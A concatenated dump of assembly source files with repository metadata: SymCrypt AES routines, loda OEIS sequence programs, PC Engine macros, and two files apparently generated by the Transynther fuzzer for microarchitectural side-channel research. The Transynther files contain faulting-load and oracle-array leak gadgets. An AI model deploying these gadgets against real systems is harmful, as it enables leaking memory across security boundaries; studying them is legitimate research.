pExpandedKey, ; _Inout_updates_bytes_( SYMCRYPT_AES_BLOCK_SIZE ) PBYTE pbChainingValue, ; _In_reads_bytes_( cbData ) PCBYTE pbData, ; SIZE_T cbData ) ; .FPO(9,2,0,4,0,0) AesCbcMacFrame struct 4, NONUNIQUE key_pointer dd ? lastRoundKey dd ? pbEnd dd ? firstRoundKey dd ? pbChainingValue dd ? SaveEdi dd ? SaveEsi dd ? SaveEbp dd ? SaveEbx dd ? ReturnAddress dd ? pbData dd ? cbData dd ? AesCbcMacFrame ends ; ecx = pExpandedKey ; edx = pbChainingValue ; [esp+4...] = pbSrc, pbDst, cbData ; ; 2-byte NOP for hot patching ; This is what our current compiler does for every function, so we will follow ; that. ; mov edi,edi ; ; Set up our stack frame ; push ebx push ebp push esi push edi push edx ; pbChainingValue push ecx ; pbExpandedKey points to the first round key sub esp, 12 SYMCRYPT_CHECK_MAGIC ecx, SYMCRYPT_AES_EXPANDED_KEY mov eax,[esp + AesCbcMacFrame.cbData] and eax, NOT 15 jz AesCbcMacDoNothing ; Get & store the address of the last round key mov ebx,[ecx+SYMCRYPT_AES_EXPANDED_KEY.lastEncRoundKey] mov [esp+AesCbcMacFrame.lastRoundKey],ebx mov esi,[esp + AesCbcMacFrame.pbData] add eax,esi mov [esp + AesCbcMacFrame.pbEnd], eax ; esi = pbData ; Load state from chaining value ; State is in ecx,edi,eax,ebp mov ecx,[edx] mov edi,[edx + 4] mov eax,[edx + 8] mov ebp,[edx + 12] AesCbcMacLoop: ; Invariant: ; State in (ecx, edi, eax, ebp) ; esi = pbData ; ; Xor next plaintext block & move state to (eax, ebx, edx, ebp) ; We keep the reads sequentially to help the HW prefetch logic in the CPU ; xor ecx, [esi] mov ebx, [esi + 4] xor ebx, edi mov edx, [esi + 8] xor edx, eax mov eax, ecx xor ebp, [esi + 12] mov ecx,[esp + AesCbcMacFrame.firstRoundKey] key_limit equ esp + AesCbcMacFrame.lastRoundKey key_ptr equ esp + AesCbcMacFrame.key_pointer AES_ENC AesCbcMacFrame.pbData ; argument is address that is loaded into esi ;call @SymCryptAesEncryptAsmInternal@16 ;mov esi,[esp + AesCbcMacFrame.pbData] add esi, 16 cmp esi,[esp + AesCbcMacFrame.pbEnd] mov [esp + AesCbcMacFrame.pbData], esi jb AesCbcMacLoop mov edx,[esp + AesCbcMacFrame.pbChainingValue] mov [edx], ecx mov [edx + 4], edi mov [edx + 8], eax mov [edx + 12], ebp ; ; Wipe the one stack location that the internal encrypt routine uses ; for temporary data storage ; mov [esp - 8], esp AesCbcMacDoNothing: add esp, 20 pop edi pop esi pop ebp pop ebx ret 8 @SymCryptAesCbcMacAsm@16 ENDP endif ;=========================================================================== ; AES-NI code if 0 ; No longer used; replaced with intrinsic C code that can be inlined. BEFORE_PROC @SymCryptAes4SboxXmm@8 PROC ; ;VOID ;Aes4SboxAsm( _In_reads_bytes_(4) PCBYTE pIn, _Out_writes_bytes_(4) PBYTE pOut ); ; .FPO(0,0,0,0,0,0) ; ;ecx points to source ;edx points to destination ; ;We only use volatile registers so we do not have to save any registers. ; mov eax,[ecx] ; Use a register to avoid alignment issues movd xmm0, eax movsldup xmm0, xmm0 ; copy [31:0] to [63:32] aeskeygenassist xmm0, xmm0, 0 movd eax, xmm0 mov [edx], eax ret @SymCryptAes4SboxXmm@8 ENDP BEFORE_PROC @SymCryptAesCreateDecryptionRoundKeyXmm@8 PROC ; ;VOID ;AesCreateDecryptionRoundKeyAsm( _In_reads_bytes_(16) PCBYTE pEncryptionRoundKey, ; _Out_writes_bytes_(16) PBYTE pDecryptionRoundKey ); ; .FPO(0,0,0,0,0,0) ;ecx points to source ;edx points to destination movups xmm0,[ecx] aesimc xmm0, xmm0 movups [edx], xmm0 ret @SymCryptAesCreateDecryptionRoundKeyXmm@8 ENDP endif AES_ENCRYPT_XMM MACRO ; xmm0 contains the plaintext ; ecx points to first round key to use ; eax is last key to use (unchanged) ; Ciphertext ends up in xmm0, xmm1 used ; ; ; xor in first round key; round keys are 16-aligned on amd64 ; movups xmm1, [ecx] pxor xmm0, xmm1 movups xmm1, [ecx+16] aesenc xmm0, xmm1 add ecx, 32 @@: ; r9 points to next round key movups xmm1, [ecx] aesenc xmm0, xmm1 movups xmm1, [ecx + 16] aesenc xmm0, xmm1 add ecx, 32 cmp ecx, eax jc @B ; ; Now for the final round ; movups xmm1, [eax] aesenclast xmm0, xmm1 ENDM AES_DECRYPT_XMM MACRO ; xmm0 contains the plaintext ; ecx points to first round key to use ; eax is last key to use (unchanged) ; Ciphertext ends up in xmm0, xmm1 used ; ; ; xor in first round key; round keys are 16-aligned on amd64 ; movups xmm1, [ecx] pxor xmm0, xmm1 movups xmm1, [ecx+16] aesdec xmm0, xmm1 add ecx, 32 @@: ; r9 points to next round key movups xmm1, [ecx] aesdec xmm0, xmm1 movups xmm1, [ecx + 16] aesdec xmm0, xmm1 add ecx, 32 cmp ecx, eax jc @B ; ; Now for the final round ; movups xmm1, [eax] aesdeclast xmm0, xmm1 ENDM BEFORE_PROC if 0 @SymCryptAesEncryptXmm@12 PROC ; ; rcx = expanded key ; rdx = pbSrc ; [esp+4] = pbDst .FPO( 0, 1, 0, 0, 0, 0) SYMCRYPT_CHECK_MAGIC ecx, SYMCRYPT_AES_EXPANDED_KEY movups xmm0,[edx] mov eax, [ecx + SYMCRYPT_AES_EXPANDED_KEY.lastEncRoundKey] AES_ENCRYPT_XMM ; xmm0 contains the plaintext ; ecx points to first round key to use ; eax is last key to use (unchanged) ; Ciphertext ends up in xmm0 mov ecx,[esp + 4] movups [ecx],xmm0 ret 4 @SymCryptAesEncryptXmm@12 ENDP endif if 0 BEFORE_PROC @SymCryptAesDecryptXmm@12 PROC ; ; rcx = expanded key ; rdx = pbSrc ; [esp+4] = pbDst .FPO( 0, 1, 0, 0, 0, 0) SYMCRYPT_CHECK_MAGIC ecx, SYMCRYPT_AES_EXPANDED_KEY movups xmm0,[edx] mov eax, [ecx + SYMCRYPT_AES_EXPANDED_KEY.lastDecRoundKey] mov ecx, [ecx + SYMCRYPT_AES_EXPANDED_KEY.lastEncRoundKey] AES_DECRYPT_XMM ; xmm0 contains the plaintext ; ecx points to first round key to use ; eax is last key to use (unchanged) ; Ciphertext ends up in xmm0 mov ecx,[esp + 4] movups [ecx],xmm0 ret 4 @SymCryptAesDecryptXmm@12 ENDP endif if 0 BEFORE_PROC @SymCryptAesCbcEncryptXmm@20 PROC ; ecx = pExpandedKey ; edx = pbChainingValue ; [esp+4...] = pbSrc, pbDst, cbData .FPO (4, 3, 0, 4, 0, 0 ) ; locals, params, 0, regs saved, 0, 0 SymCryptAesCbcEncryptXmmFrame struct 4, NONUNIQUE SaveEdi dd ? SaveEsi dd ? SaveEbp dd ? SaveEbx dd ? ReturnAddress dd ? pbSrc dd ? pbDst dd ? cbData dd ? SymCryptAesCbcEncryptXmmFrame ends ; ; 2-byte NOP for hot patching ; This is what our current compiler does for every function, so we will follow ; that. ; mov edi,edi push ebx push ebp push esi push edi SYMCRYPT_CHECK_MAGIC ecx, SYMCRYPT_AES_EXPANDED_KEY mov ebp,[esp + SymCryptAesCbcEncryptXmmFrame.cbData] and ebp, NOT 15 jz SymCryptAesCbcEncryptXmmNoData mov esi,[esp + SymCryptAesCbcEncryptXmmFrame.pbSrc] mov edi,[esp + SymCryptAesCbcEncryptXmmFrame.pbDst] add ebp, esi ; ebp = pbSrcEnd movups xmm0,[edx] mov eax, [ecx + SYMCRYPT_AES_EXPANDED_KEY.lastEncRoundKey] mov ebx, ecx SymCryptAesCbcEncryptXmmLoop: movups xmm1, [esi] pxor xmm0, xmm1 add esi, 16 mov ecx, ebx AES_ENCRYPT_XMM movups [edi], xmm0 add edi, 16 cmp esi, ebp jc SymCryptAesCbcEncryptXmmLoop movups [edx], xmm0 SymCryptAesCbcEncryptXmmNoData: pop edi pop esi pop ebp pop ebx ret 12 @SymCryptAesCbcEncryptXmm@20 ENDP endif if 0 ; replaced with C/intrinsic code BEFORE_PROC @SymCryptAesCbcDecryptXmm@20 PROC ; ecx = pExpandedKey ; edx = pbChainingValue ; [esp+4...] = pbSrc, pbDst, cbData .FPO (4, 3, 0, 4, 0, 0 ) ; locals, params, 0, regs saved, 0, 0 SymCryptAesCbcDecryptXmmFrame struct 4, NONUNIQUE SaveEdi dd ? SaveEsi dd ? SaveEbp dd ? SaveEbx dd ? ReturnAddress dd ? pbSrc dd ? pbDst dd ? cbData dd ? SymCryptAesCbcDecryptXmmFrame ends ; ; 2-byte NOP for hot patching ; This is what our current compiler does for every function, so we will follow ; that. ; mov edi,edi push ebx push ebp push esi push edi SYMCRYPT_CHECK_MAGIC ecx, SYMCRYPT_AES_EXPANDED_KEY mov ebp,[esp + SymCryptAesCbcDecryptXmmFrame.cbData] and ebp, NOT 15 jz SymCryptAesCbcDecryptXmmNoData mov esi,[esp + SymCryptAesCbcDecryptXmmFrame.pbSrc] mov edi,[esp + SymCryptAesCbcDecryptXmmFrame.pbDst] add ebp, esi ; ebp = pbSrcEnd movups xmm3,[edx] mov eax, [ecx + SYMCRYPT_AES_EXPANDED_KEY.lastDecRoundKey] mov ebx, [ecx + SYMCRYPT_AES_EXPANDED_KEY.lastEncRoundKey] SymCryptAesCbcDecryptXmmLoop: movups xmm0, [esi] add esi, 16 movaps xmm2, xmm0 mov ecx, ebx AES_DECRYPT_XMM pxor xmm0, xmm3 movaps xmm3, xmm2 movups [edi], xmm0 add edi, 16 cmp esi, ebp jc SymCryptAesCbcDecryptXmmLoop movups [edx], xmm2 SymCryptAesCbcDecryptXmmNoData: pop edi pop esi pop ebp pop ebx ret 12 @SymCryptAesCbcDecryptXmm@20 ENDP endif; _TEXT ENDS END
28.235808
120
0.502069
662e55fb02dafbe03b6666113abb9215f1b63e3a
737
asm
Assembly
oeis/145/A145621.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/145/A145621.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/145/A145621.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A145621: Numerator of the polynomial A_l(x) = sum_{d=1..l-1} x^(l-d)/d for index l=2n+1 evaluated at x=7. ; Submitted by Christian Krause ; 105,31087,2538991,248821433,21946050833,11828921402977,7535022933740305,3692161237533130831,1025190103621701235981,954451986471803883166747,15589382445706130101521201,52707702048932425873860727511,12913387001988444339098720100139,5694803667876903953542559254499399,8092316012053080517983977340473997139,24584456044617258613635323197479868215407,1204638346186245672068130836711391762549743,59027278963126037931338410998891088285318727,107016456760147506769516539140990694489612503651 add $0,1 mul $0,2 seq $0,145666 ; a(n) = numerator of polynomial of genus 1 and level n for m = 7 : A[1,n](7).
92.125
484
0.856174
c70e9473a38c7f7489c9787441601ae90b38208e
499
asm
Assembly
programs/oeis/333/A333996.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/333/A333996.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
programs/oeis/333/A333996.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
; A333996: Number of composite numbers in the triangular n X n multiplication table. ; 0,1,3,7,11,17,23,31,40,50,60,72,84,98,113,129,145,163,181,201,222,244,266,290,315,341,368,396,424,454,484,516,549,583,618,654,690,728,767,807,847,889,931,975,1020,1066,1112,1160,1209,1259,1310,1362,1414 mov $2,$0 mov $3,$0 add $3,1 lpb $3 mov $0,$2 sub $3,1 sub $0,$3 mov $4,$0 add $4,1 cal $0,10051 ; Characteristic function of primes: 1 if n is prime, else 0. sub $4,$0 add $1,$4 lpe sub $1,1
27.722222
204
0.671343
95c52c8da376dfa147cc6313afe05d6679c74528
2,329
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48_notsx.log_24_1799.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48_notsx.log_24_1799.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48_notsx.log_24_1799.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r12 push %r13 push %rbp push %rbx push %rcx push %rdx lea addresses_normal_ht+0x9361, %r12 nop nop nop cmp $58578, %r11 mov (%r12), %bp nop nop nop nop xor %rbp, %rbp lea addresses_D_ht+0x1ee15, %rbx nop nop nop sub $24068, %r13 mov $0x6162636465666768, %rcx movq %rcx, %xmm0 vmovups %ymm0, (%rbx) inc %r12 lea addresses_normal_ht+0x1cde1, %r13 clflush (%r13) nop nop nop add $44391, %rdx mov $0x6162636465666768, %r12 movq %r12, %xmm0 vmovups %ymm0, (%r13) nop nop nop nop xor %rcx, %rcx lea addresses_D_ht+0x1661, %r13 sub $14403, %r12 mov $0x6162636465666768, %rcx movq %rcx, (%r13) nop nop nop nop nop sub $33827, %rbp pop %rdx pop %rcx pop %rbx pop %rbp pop %r13 pop %r12 pop %r11 ret .global s_faulty_load s_faulty_load: push %r11 push %r12 push %r13 push %r8 push %rax push %rbx // Load mov $0x7513060000000fa1, %r12 nop nop nop nop inc %r11 vmovups (%r12), %ymm5 vextracti128 $0, %ymm5, %xmm5 vpextrq $0, %xmm5, %rbx and %rbx, %rbx // Faulty Load lea addresses_normal+0xd361, %r8 nop nop nop nop nop and %r11, %r11 vmovups (%r8), %ymm1 vextracti128 $0, %ymm1, %xmm1 vpextrq $0, %xmm1, %r13 lea oracles, %rax and $0xff, %r13 shlq $12, %r13 mov (%rax,%r13,1), %r13 pop %rbx pop %rax pop %r8 pop %r13 pop %r12 pop %r11 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_normal', 'congruent': 0}} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_NC', 'congruent': 6}} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_normal', 'congruent': 0}} <gen_prepare_buffer> {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_normal_ht', 'congruent': 10}} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_D_ht', 'congruent': 1}, 'OP': 'STOR'} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_normal_ht', 'congruent': 7}, 'OP': 'STOR'} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_D_ht', 'congruent': 7}, 'OP': 'STOR'} {'34': 24} 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 */
19.090164
129
0.655646
a8380ed4e5ac0aaa148265d0c6c5f3c71ee2199d
4,754
asm
Assembly
Transynther/x86/_processed/NONE/_zr_/i7-7700_9_0x48.log_21829_2311.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_zr_/i7-7700_9_0x48.log_21829_2311.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_zr_/i7-7700_9_0x48.log_21829_2311.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r11 push %r14 push %r15 push %rbx push %rcx push %rdi push %rsi lea addresses_normal_ht+0x1970a, %rbx nop cmp %r10, %r10 vmovups (%rbx), %ymm6 vextracti128 $1, %ymm6, %xmm6 vpextrq $0, %xmm6, %r14 and $60926, %rsi lea addresses_A_ht+0x121ea, %r15 nop nop nop nop dec %r11 mov $0x6162636465666768, %rcx movq %rcx, %xmm0 and $0xffffffffffffffc0, %r15 vmovaps %ymm0, (%r15) nop cmp $49909, %rsi lea addresses_normal_ht+0x1a992, %rsi lea addresses_WC_ht+0x390a, %rdi nop nop nop inc %r15 mov $104, %rcx rep movsb nop nop nop and $57738, %r11 pop %rsi pop %rdi pop %rcx pop %rbx pop %r15 pop %r14 pop %r11 pop %r10 ret .global s_faulty_load s_faulty_load: push %r13 push %rbp push %rcx push %rdi push %rsi // Faulty Load lea addresses_WC+0x1f90a, %r13 clflush (%r13) nop nop nop add %rbp, %rbp movups (%r13), %xmm6 vpextrq $0, %xmm6, %rcx lea oracles, %rdi and $0xff, %rcx shlq $12, %rcx mov (%rdi,%rcx,1), %rcx pop %rsi pop %rdi pop %rcx pop %rbp pop %r13 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_WC', 'AVXalign': False, 'congruent': 0, 'size': 8, 'same': True, 'NT': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_WC', 'AVXalign': False, 'congruent': 0, 'size': 16, 'same': True, 'NT': False}} <gen_prepare_buffer> {'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 9, 'size': 32, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': True, 'congruent': 5, 'size': 32, 'same': False, 'NT': False}} {'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 11, 'same': False}} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
51.11828
2,999
0.665124
708977fe1409f73558a30c0fb7ee073714d9a5dd
885
asm
Assembly
libsrc/_DEVELOPMENT/adt/w_array/z80/asm_w_array_init.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/_DEVELOPMENT/adt/w_array/z80/asm_w_array_init.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/_DEVELOPMENT/adt/w_array/z80/asm_w_array_init.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
; =============================================================== ; Mar 2014 ; =============================================================== ; ; w_array_t *w_array_init(void *p, void *data, size_t capacity) ; ; Initialize a word array structure at address p and set the ; array's initial data and capacity members. array.size = 0 ; ; =============================================================== SECTION code_clib SECTION code_adt_w_array PUBLIC asm_w_array_init EXTERN asm_b_array_init, error_zc asm_w_array_init: ; enter : hl = p ; de = data ; bc = capacity in words ; ; exit : success ; ; hl = array * ; carry reset ; ; fail if capacity too large ; ; hl = 0 ; carry set ; ; uses : af, bc sla c rl b jp nc, asm_b_array_init jp error_zc
20.581395
65
0.442938
4ce3295d5168a494e72531ceab1225fee67a8959
148,451
asm
Assembly
asm_src/sg_test4/sg_test4.asm
yhzmr442/jspce
61c170cfdfa60b28af773005a5985a00cd36fa1d
[ "MIT" ]
9
2020-01-09T08:21:11.000Z
2021-11-02T06:34:31.000Z
asm_src/sg_test4/sg_test4.asm
yhzmr442/jspce
61c170cfdfa60b28af773005a5985a00cd36fa1d
[ "MIT" ]
5
2020-06-27T19:45:57.000Z
2020-12-15T22:13:53.000Z
asm_src/sg_test4/sg_test4.asm
yhzmr442/jspce
61c170cfdfa60b28af773005a5985a00cd36fa1d
[ "MIT" ]
2
2020-09-22T01:05:01.000Z
2020-09-23T17:02:13.000Z
VDC_0 .equ $0000 VDC_1 .equ $0001 VDC_2 .equ $0002 VDC_3 .equ $0003 VDC1 .equ 1 VDC1_0 .equ VDC_0 VDC1_1 .equ VDC_1 VDC1_2 .equ VDC_2 VDC1_3 .equ VDC_3 VDC2 .equ 2 VDC2_0 .equ $0010 VDC2_1 .equ $0011 VDC2_2 .equ $0012 VDC2_3 .equ $0013 VPC_0 .equ $0008 VPC_1 .equ $0009 VPC_2 .equ $000A VPC_3 .equ $000B VPC_4 .equ $000C VPC_5 .equ $000D VPC_6 .equ $000E VPC_7 .equ $000F VCE_0 .equ $0400 VCE_1 .equ $0401 VCE_2 .equ $0402 VCE_3 .equ $0403 VCE_4 .equ $0404 VCE_5 .equ $0405 VCE_6 .equ $0406 VCE_7 .equ $0407 TIMER_CONTROL_REG .equ $0C00 TIMER_COUNTER_REG .equ $0C01 INTERRUPT_DISABLE_REG .equ $1402 IO_REG .equ $1000 chardatBank .equ 3 divdatBank .equ 20 mul2datBank .equ 4 ;////////////////////////////////// ;---------------------------- putPolyLineV1m .macro sta VDC1_2 sty VDC1_3 .endm ;---------------------------- putPolyLineV2m .macro sta VDC2_2 sty VDC2_3 .endm ;---------------------------- putPolyLineV1lm .macro putPolyLineV1m ;30 putPolyLineV1m ;29 putPolyLineV1m ;28 putPolyLineV1m ;27 putPolyLineV1m ;26 putPolyLineV1m ;25 putPolyLineV1m ;24 putPolyLineV1m ;23 putPolyLineV1m ;22 putPolyLineV1m ;21 putPolyLineV1m ;20 putPolyLineV1m ;19 putPolyLineV1m ;18 putPolyLineV1m ;17 putPolyLineV1m ;16 putPolyLineV1m ;15 putPolyLineV1m ;14 putPolyLineV1m ;13 putPolyLineV1m ;12 putPolyLineV1m ;11 putPolyLineV1m ;10 putPolyLineV1m ;9 putPolyLineV1m ;8 putPolyLineV1m ;7 putPolyLineV1m ;6 putPolyLineV1m ;5 putPolyLineV1m ;4 putPolyLineV1m ;3 putPolyLineV1m ;2 putPolyLineV1m ;1 .endm ;---------------------------- putPolyLineV2lm .macro putPolyLineV2m ;30 putPolyLineV2m ;29 putPolyLineV2m ;28 putPolyLineV2m ;27 putPolyLineV2m ;26 putPolyLineV2m ;25 putPolyLineV2m ;24 putPolyLineV2m ;23 putPolyLineV2m ;22 putPolyLineV2m ;21 putPolyLineV2m ;20 putPolyLineV2m ;19 putPolyLineV2m ;18 putPolyLineV2m ;17 putPolyLineV2m ;16 putPolyLineV2m ;15 putPolyLineV2m ;14 putPolyLineV2m ;13 putPolyLineV2m ;12 putPolyLineV2m ;11 putPolyLineV2m ;10 putPolyLineV2m ;9 putPolyLineV2m ;8 putPolyLineV2m ;7 putPolyLineV2m ;6 putPolyLineV2m ;5 putPolyLineV2m ;4 putPolyLineV2m ;3 putPolyLineV2m ;2 putPolyLineV2m ;1 .endm ;---------------------------- setEdgeBuffer0m .macro ; tya sta edgeLeft,x inc edgeCount,x .endm ;---------------------------- setEdgeBufferm .macro ;set edge buffer lda edgeCount,x beq .jpCount1_\@ ;count 1 bpl .jpCount2_\@ ;count 2 ;count 0 .jpCount0_\@: tya sta edgeLeft,x inc edgeCount,x bra .jp2_\@ ;count 1 .jpCount1_\@: tya cmp edgeLeft,x bcs .jp4_\@ ;a >= edgeLeft,x lda edgeLeft,x sta edgeRight,x tya sta edgeLeft,x inc edgeCount,x bra .jp2_\@ .jp4_\@: sta edgeRight,x inc edgeCount,x bra .jp2_\@ ;count 2 .jpCount2_\@: tya cmp edgeLeft,x bcs .jp3_\@ ;a >= edgeLeft,x sta edgeLeft,x bra .jp2_\@ .jp3_\@: cmp edgeRight,x bcc .jp2_\@ ;a < edgeRight,x sta edgeRight,x .jp2_\@: .endm ;---------------------------- jcc .macro bcs .jp\@ jmp \1 .jp\@ .endm ;---------------------------- jcs .macro bcc .jp\@ jmp \1 .jp\@ .endm ;---------------------------- jeq .macro bne .jp\@ jmp \1 .jp\@ .endm ;---------------------------- jne .macro beq .jp\@ jmp \1 .jp\@ .endm ;---------------------------- jpl .macro bmi .jp\@ jmp \1 .jp\@ .endm ;---------------------------- jmi .macro bpl .jp\@ jmp \1 .jp\@ .endm ;---------------------------- add .macro ;\1 = \2 + \3 ;\1 = \1 + \2 .if (\# = 1) clc adc \1 .else .if (\# = 3) clc lda \2 adc \3 sta \1 .else clc lda \1 adc \2 sta \1 .endif .endif .endm ;---------------------------- sub .macro ;\1 = \2 - \3 ;\1 = \1 - \2 .if (\# = 1) sec sbc \1 .else .if (\# = 3) sec lda \2 sbc \3 sta \1 .else sec lda \1 sbc \2 sta \1 .endif .endif .endm ;---------------------------- addw .macro ;\1 = \2 + \3 ;\1 = \1 + \2 .if (\# = 3) .if (\?3 = 2);Immediate clc lda \2 adc #LOW(\3) sta \1 lda \2+1 adc #HIGH(\3) sta \1+1 .else clc lda \2 adc \3 sta \1 lda \2+1 adc \3+1 sta \1+1 .endif .else .if (\?2 = 2);Immediate clc lda \1 adc #LOW(\2) sta \1 lda \1+1 adc #HIGH(\2) sta \1+1 .else 